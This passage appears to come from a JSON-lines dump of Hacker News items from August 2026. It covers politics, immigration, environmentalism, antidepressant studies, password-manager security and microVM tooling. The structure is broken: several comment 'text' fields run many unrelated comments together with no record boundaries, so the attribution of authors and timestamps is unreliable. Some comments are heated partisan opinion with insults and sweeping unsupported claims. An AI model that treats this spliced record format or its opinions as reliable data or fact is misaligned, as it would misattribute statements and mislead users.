Yeah, sorry, if you a) join a group that states it wants to overthrow the USG b) go with a bunch of members to a federal facility as part of a violent protest c) set off fireworks, vandalize everything in reach, and d) shoot a cop, you are all going to prison, and that makes perfect sense.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485557"} {"by": "kg", "comments": 0, "created_at_utc": "2026-08-28T23:49:34Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485558", "item_id": 49485558, "kids": [], "parent": 49477933, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Apple and Microsoft have speed-dial access to the relevant legal departments to get their apps put back online", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485558"} {"by": "AndrewKemendo", "comments": 0, "created_at_utc": "2026-08-28T23:49:50Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485559", "item_id": 49485559, "kids": [49485579], "parent": 49485510, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "They were alcoholics, opioid and weed smokers

IMO they are entirely different things.
One form is science-based and concerned with finding out how to engineer our civilization to be more sustainable and compatible with the Earth's ecosystem. That faction has been mostly either pro-nuclear or at least open to it when renewables aren't enough or aren't ready.
The other form is a romantic back-to-the-land anti-industry or even anti-civilization movement. It's opposed to nuclear because it's a "techno-fix" when the real answer must be abandonment of high technology and advanced civilization and a return to pre-industrial (or even pre-civilization Paleolithic) ways of life. For this group that's the only acceptable answer. Finding a solution to climate change that didn't involve abandoning industry or growth would be bad, since it would allow "business as usual" to continue.
Returning to pre-industrial or pre-civ times would require the deaths of billions of people, since you can't support these populations without industry, but they don't mention that. That's the quiet part.
The second group is mostly the group that has opposed nuclear power. A few have even opposed wind and solar power, believe it or not. It sounds ridiculous but look it up. You can find cases, albeit more fringe than anti-nukes.
The second group also horseshoes around to the far right in some cases. Anti-vax and general anti-medicine ideology and the idea that we need to be "natural" in everything was originally something more associated with these types of greens, but today it's part of MAGA.

Which was insane of course. It was one truckload, just like here, and improperly labeled, just like here.
The US system takes the sanctity of product labeling extremely seriously, because the intent is that you can trust the label, and therefore make informed free market decisions! Strictly regulated labeling is a great way to reduce the information asymmetry between producer and consumer, and help keep a market competitive!

But for consumer apps, honestly, maybe not? Even at companies that do good consumer changelogs, they're generally considered marketing content. Other posters in this thread made the points that most people updating consumer apps are not even going to see the changelog message, and that app stores have effectively punished companies for providing detailed changelogs by holding app store releases over them.
And given that for larger companies so many of them are actually controlling their feature releases on the backend and not on the client side (you might add the capability for a feature on the client months before you actually set the rollout to 100%), trying to convey those updates in the client-side changelog can be hard to do in a way that consumers will understand and can often generate a lot of confusion and support tickets.

The US isn't an empire. Is Germany a US territory? Is Japan a US territory? Is Iraq? No. Is Panama? No. Puerto Rico and Hawaii are happily part of the US. We don't have to use military force or economic leverage to keep them part of the US. If the US government was destroyed, we would recreate it, because it is good.
The US also championed natural rights globally, which recognizes that people have rights that are not derived from any government, but are inherent. Guess which countries reject this? China, North Korea, Russia, Cuba, Vietnam, Saudi Arabia, Iran, Afghanistan, Syria and others.
> We barely win any of them
Winning depends on what you wanted to achieve. We don't need to win, we just need to get what we want. Our military won in Vietnam, but when conflict started again the government voted not to get involved. The Vietnamese love the US and hate China. South Koreans love the US. North Korea's leader loves the US and hates China. Japan loves the US and hates China. Saddam Hussein was killed in Iraq and we established forward bases to use against Iran. Afghanistan hates Iran. Osama bin Laden was killed. European countries and most Middle Eastern and most Asian countries are friendly with the US.
Everyone seems to recognize how Russia, Iran and China align. Our allies are getting stronger, because we're giving them tough love, while Cuba, Venezuela, Russia and Iran are all getting weaker.
You can interpret all of that however you'd like, but it doesn't sound like losing. People can delude themselves all they want and the media can yell from the top of the trees how everything is awful and we're losing and so on, but reality gets a vote.

Enshittification is when the perpetrator intentionally does make a product worse, like locking previously free features behind a paywall with a firmware update, or covers components of an electric device with some goop to make it unrepairable.
Verschlimmbesserung is when the perpetrator has good but ultimately misguided intentions. For example, so middle manager might think that replacing but buttons on a vacuum cleaner with app integration adds value, but ultimately it's replacing something simple, boring and reliable with an overengineered solution that causes more problems than it solves.
There is some overlap between the two: someone could make make a Verschlimmbesserung even though he knows no one wants the change, but he can pad his resume with it. In general I'd say enshittification leans more towards malice, while Verschlimmbesserung leans more towards incompetence.

Since modern government seems to require a large bureaucratic apparatus to function, I think it should be its own branch with no single head - or put another way, all bodies established by the legislature should be independent from each other, the executive, and the legislature. This way, all power the legislature grants to a body doesn't acrue to the presidency, and the collective powers of these bodies don't acrue to a single person or group. The president would still have a suite of powers, but they wouldn't automatically expand - the president would only have whatever control over these bodies the legislature chooses to grant. Of course, if the legislature wants to exercise any power over these bodies once they've established them, they would have to do so through the usual legislative process, and it would still be subject to presidential veto.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485630"} {"by": "kderbe", "comments": 0, "created_at_utc": "2026-08-29T00:05:33Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485631", "item_id": 49485631, "kids": [], "parent": 49485270, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Intel N100 spec sheet [1] says it's limited to 4K@60Hz and this seems confirmed by a few Reddit comments.

That does not follow. Just like financial services are forced to KYC, there would have to be some similar provision. For example, a site might choose not to have anonymization and then liability passes through a KYC chain. If a site wanted anonymous then the burden would be on moderation before it became public. I think this probably already happens in large extent where images are scanned to avoid bad things appearing on public sites and there is already liability around that.

>All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates all passwords in plain text to a pastebin somewhere.
"""All""" they need is to get root? Most people access all key stuff on their own devices, and for the vast ultra super majority of the population and vital sites if their personal trusted device is rooted it's over regardless. Your "Now as an attacker if I want to get the users whole database of 100 passwords I must trick them to tapping a blinking smartcard or touchid 100 times" is total fucking make believe, completely ignoring normal things like RECOVERY FLOWS. If you have root on someone's computer and phone you have access to their email and probably messaging as well, and that will suffice to get into nearly everything including the majority of financial institutions (which even now have massive ones that don't even support HSMs at all, let alone leave no recovery route! looking at you Charles Schwab, with total client assets in excess of $12.5 trillion at the start of this year [0]). There isn't any need for "100 times" because most people don't have 100 different critical accounts, rather single digits or even just one actual one that has things like money or comms.
>This is how I have been doing password management for over a decade with password store, the standard unix password manager. That tiny shell script is the -minimum- security any password manager must have.
Literally laughing out loud here. If it's not easy enough for my friends in their 70s to use and like it's WORTHLESS to most security. Including on some level mine or yours, because security has key social/network effects beyond just individuals, stolen money, information, and access is used to fuel further security threats. Job #1 is to make something people like and works with most of what already exists. Otherwise it's yet another case of "ROTATE PASSWORDS EVERY 2 MONTHS NO USE X NUMBERS OH ALSO Y SPECIAL CHARACTERS NO NOT LIKE THAT" which results in everyone just leaving stuff on sticky notes on their screens and doing the bare minimum to fool the system and using the same thing or minor variants everywhere. Theorycrafted garbage made for robots not humans.
>I submit with a straight face that they have never let any capable security engineers near their products. They have a negligent design end to end and must not be replicated.
I submit with a straight face you are either literally working for a hostile agency to spread disinformation or you have serious neurodivergence or you are seriously and dangerously bubbled with an (un)healthy splash of Dunning-Kruger mixed in.

That just means that requirements have changed over time and the code has to make concessions to cover all the requirements. That's what complicates any software project and that's to keep happening only that now you won't know the codebase.
The same thing is going to happen if you add another abstraction layer. Okay, you don't need to write code. But you are not going to be able to write a spec that controls all edge cases or changing requirements.
In fact, language is more prone to wrong interpretations so this problem is going to be even more noticeable. Yeah, sure, you can write tests and make sure the code is up to spec, but again you will miss some weird edge cases.

Lately, I have been trying to understand the security aspect of docker containers, and what I have realized is that all docker containers share the host's kernel. Any zero day vulnerability in the kernel can be used to gain access to the host os.
In order to deal with this, I did some research turns out Amazon has open sourced the core technology behind their serverless technology lambda. But in its current state its very hard to setup, let alone run anything securely. This technology is called firecracker microvm's
It started off as a go library, for creating process pools to just do a simple firecracker spawn, turned into a full fledged host side daemon.
deploying a microvm through a docker image is now as simple as running
`herd deploy --image postgres:latest -p 5432:5432 -e POSTGRES_PASSWORD=postgres`
with boot times ~500ms

That's also false, you can absolutely kill unarmed combatants so long as they remain combatants. Eg you can bomb an artillery crew even if they don't have sidearms.

They used Shays' Rebellion as a pretext to push for constitutional reform.
The constitution is explicitly written to prevent change. It's why change is so hard to implement and requires actual courage (see America's second founding).
One of the first official acts George Washington did was sign the fugitive slave act then tried to deputize his nephew in the treasury department to kidnap a free woman who was his former slave, Ona Judge, because Washington didn't want to argue in a public court why she was his property. Great video on the topic:
https://www.youtube.com/watch?v=Zhxivf0gmj8
Many of the founders were rotten ghouls (Alexander Hamilton's favorite form of government was a monarchy), you need to read what they exactly think because they designed a government where about less than 2% of the US population could vote and design a system where the only house that commoner's could be elected into would be the weakest. They openly wrote about all of this too, it's not anything new.
When they wrote about freedom they weren't talking about 95% of society, they were talking about a very specific type of people that excluded many.
The rot has always been there, it's why there is an allure of truth when conservatives say they just want to return to the founding.

Most of it was junk, or included stuff about TMS which has zero relevance to antidepressants. Here's the junk:
> The truth is we took someone from being passively suicidal to functioning normally, and we fail to look at the self-reported problems, we just report them. The self reported problems tend to change from "I don't care about anything" to "I'm unhappy at my job" or "I'm stressed at how much I have to do with work and my kids and home." These are actually major improvements, the patient has gone from being actually clinically depressed to significant improvement but continued unhappiness with life circumstances as opposed to unhappiness with life in general.
Sorry, but, no, going from passively suicidal to normal function (including not getting out bed) would move HAM-D and almost other other depression rating scales massively, so we would see this in studies, but we don't. This doesn't pass the sniff test.
Could antidepressants help with other symptoms that are milder than suicidality, but which are not measured? Plausibly, but why would I trust you, a faithful zealot (literally: you will "fight tooth and nail", and "antidepressants are amazing")? Where are the papers? You are too biased to take at word.
> We're engaged in a long term research study to help demonstrate the value of a tightly integrated therapy/psych team and more advanced treatments and when you get everyone in the room pulling in the same direction patient outcomes are amazing.
Great, when it is published, I look forward to reading it. Doctors have felt this way since the dawn of time though, and since you are a zealot, I don't care until I see the paper.
That being said, yes, there is broad evidence that combination treatments (e.g. antidepressants + psychotherapy) are generally better than either alone, and it is quite reasonable when there is proper, regular communication amongst those teams that it is a bit better still. There are studies looking at this, but again, you find average effect sizes that really fail to meet anything like a minimally important difference.
And again in these cases it remains unclear how much of the patients that do experience clinically meaningful change are changing because of the antidepressants (or how much of the meaningful difference can be attributed to the antidepressants). It's the same basic problem, the science here is really, really poor.
> a metastudy [which] is only useful for indicating future research avenues, not drawing clinical decisions
Nonsense, you'd better be thinking about and looking at these kinds of things when making clinical decisions.
> You linked 4 studies you don't even understand because you misrepresented the data they report. One of them actually PROVES my point
You've shown me nothing to indicate you have a better understanding, none of them prove anything you are saying. Best you can say is some interpretations of some studies looking at the distribution of the treatment effect might be consistent with more individuals receiving antidepressants having large positive effects, but, as I said, this is remains only weakly supported in general, i.e. it isn't a clear finding and just remains a "maybe".
The MID issue is huge, and that you work in this area on a research committee board and can't deal with this, and appeal to authority without seeming to understand the basic measurement issues at hand here, is deeply concerning. As a true believer, your beliefs about the efficacy of esketamine are also widely overstated, and, we can be sure, ignore the MID issue as usual.

Unitary Executive Theory is not autocracy. You seem to have capacity to reason and maybe don't understand how the US works, so I'll explain. In the US, we have many states. All of the states can check the federal government, because it is the states that created the federal government to start with, as an expression of the people.
The federal government has multiple branches, which each have different responsibilities. The president doesn't control the legislative or judicial branches, only the executive branch. If the president did some kind of truly insane dictator thing, there would be bipartisan support to impeach him and it would be upheld at the supreme court. If he simply went into a restaurant and started shooting people, he would be detained, impeached and imprisoned. The illusion the media spreads that somehow the president has gained control of both legislative and judicial branches is not reality.
China does not have a military. The Chinese Communist Party has a military. In the US, the military serves the constitution, which serves the people. If the president started tearing up the constitution and somehow the legislative or judicial branches were destroyed, the military would step in. Yes, the president is the commander of the military, technically, but nobody is above the constitution.
The best way to defend the US constitution is to be an originalist which uses well established understandings of the spirit, original intention and demonstrated early application of the language of the constitution. Trump's administrations interpret it using originalist arguments.
I know that it is difficult to hold a view that media seems to hate or not support, because surely media has merit and smart people who know the truth and they will speak the truth, right? Unfortunately, we cannot give up our capacity to make up our own minds. The fact people can make hand gestures and emotional facial expressions on video now does not give them any more authority than a quote from a newspaper 100 years ago.
> Falling flat on our face in Iran creates a deterrent for China?
Rolling up on Cuba, Venezuela and Iran weakens China's proxies. It has also caused China to start to draw down on their huge oil reserves which reduces their sanction proofing which mitigates some of the risk of World War 3. Helping Ukraine target Russian oil infrastructure is another component of that, because that is another source of oil for China that they are coming to understand cannot be relied on.
Tons of oil is moving through the strait now and none of it is Iran's, because we're blockading them. This is fine by us, because it's more oil China has to take from its reserves. Our #1 priority is stopping World War 3. Preventing Iran from getting nukes, shutting down their space program (keep in mind, Russia's space program was just hit too), limiting their ability to harass their neighbors, shutting down their drone supply chain so they can no longer support Russia's war in Ukraine and more are all side goals by comparison.
What the media says, what China says, what Iran says, what Europe says about all this... it's usually ignorant oblivious garbage. We aren't overly motivated to tell everyone what we're doing or why we're doing it. We're doing what we think we need to do. People can heckle from the sidelines, but it is the norm throughout history that most people don't know what the hell they're talking about. It's very common especially for things like war, where the media will be 6 months 5 years or even 50 years behind what the reality is.
> As I said, please come to your senses. You don't have to listen to my arguments (in fact you shouldn't, because what I said above aren't actually arguments - rather they're short blurbs to measure how far from centrist non-partisan reality you've gotten). But please listen to criticism from somewhere. Standing up for individual liberty in the face of tyranny is plain old-fashioned American, not woke.
I've spent thousands of hours researching these things, watching substantive intellectual debates and interviews, legal interpretations, geopolitical analysis and so on. I don't go in with a preconceived notion, only digging for anything that supports it. I'm not an idiot. Just because some fancy highly respected person says something, doesn't mean it is true. Smart people are wrong plenty, which is a fact that means we cannot delegate our ability to reason.
If you can formulate strong counter-arguments, I'll listen. Just don't make lazy arguments.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485858"} {"by": "fwipsy", "comments": 0, "created_at_utc": "2026-08-29T00:49:31Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485859", "item_id": 49485859, "kids": [49485922], "parent": 49484925, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Replacement laptop batteries and power adapters have a huge problem with counterfeiting as well.

The commission have declared it a terrorist organization, but here in Sweden such declaration have no judicial meaning and we define terrorism by whether the organization satisfies objective criteria defined in our law, which the courts determine from case to case (which in Sweden means that if you send money the PKK and prosecutor brings the case and argues that they're terrorist organization, and you argue badly, and he wins, then you might be convicted, but when another guy does the same thing, and argues well, he wins); and the situation in Belgium is similarly complicated, with a legal dispute about whether PKK was a terrorist organization, which PKK won, and thus the PKK was, in Belgium, declared by a court to not be a terrorist organization.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485888"} {"by": "andsoitis", "comments": 1, "created_at_utc": "2026-08-29T00:54:04Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485889", "item_id": 49485889, "kids": [49485927], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 2, "text": null, "title": "Milo Yiannopoulos, a far-right political commentator, detained by ICE", "type": "story", "url": "https://www.theguardian.com/us-news/2026/aug/28/milo-yiannopoulos-detained-ice"} {"by": "tmpsvc2695f5", "comments": 0, "created_at_utc": "2026-08-29T00:54:13Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485890", "item_id": 49485890, "kids": [], "parent": 49485801, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[dead]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49485890"} {"by": "trollbridge", "comments": 0, "created_at_utc": "2026-08-29T00:54:17Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49485891", "item_id": 49485891, "kids": [49485943], "parent": 49484925, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "This is genius - I’ve had good look using AI to identify fakes (or just reproductions) in other areas.

You can still find a lot of old and completely outdated models on OpenRouter. The providers can scale serving of models up and down as demand arrives, so models don't generally disappear. They're just kept in the mix and the clouds will allocate hardware to it if someone is willing to pay.
In the odd case that it disappears completely, buying the hardware 2 years from now is probably going to be a better deal. That wasn't true if you selectively check the time period before hardware got expensive, but as new hardware comes out we're going to start seeing Strix Halo and old Apple hardware hit the market as people upgrade. It's already happening.
There is a certain personality type that cannot tolerate any uncertainty and must lock everything in right now against all future possibilities. If you fit that description then there's nothing anyone can say to discourage you from buying your own hardware, but for everyone else I do not recommend buying hardware to self-host LLMs just to save money.

The second type is also inherently misanthropic. Their ideal is some Eden without humans at all. _Any_ human impact is morally wrong to this type of environmentalist.

What analogy? It's the same exact thing, scaled up from family to nation-state. These things aren't like each other, they are the same thing just smaller/larger. You were mal-educated in public schools.

If we were talking about your equity in some startup and that the major holders were diluting that stock, you'd be apoplectic. Would call it cheating. I don't care what you want. One way or another, you must be defeated and never allowed to hold political influence again. Or educational influence, come to that.
>At the very least, the current situation is inhumane,
"Inhumane"? That word means something like "you're needlessly causing physical agony to livestock". So I'm sort of smirking that you would apply a word to people that is reserved for animals... maybe that's how the left really thinks of immigrants. They're just some sort of vote cattle that you can farm for election wins. But it's also bizarre. Seems like something you'd accuse me of, not the other way around.
>and treats non-citizens like an underclass
It does no such thing. It treats them like they should stay home and live there. Which is all anyone's asking for.
>Even if "we" decide we want fewer people living here or becoming citizens, there are better ways to do that.
There were! But those ways are disallowed. You blame people like me for the detention centers... we'd be deporting them the very first day, there wouldn't be time or need for them to be detained. That's the left doing that.
Start implementing those better ways.
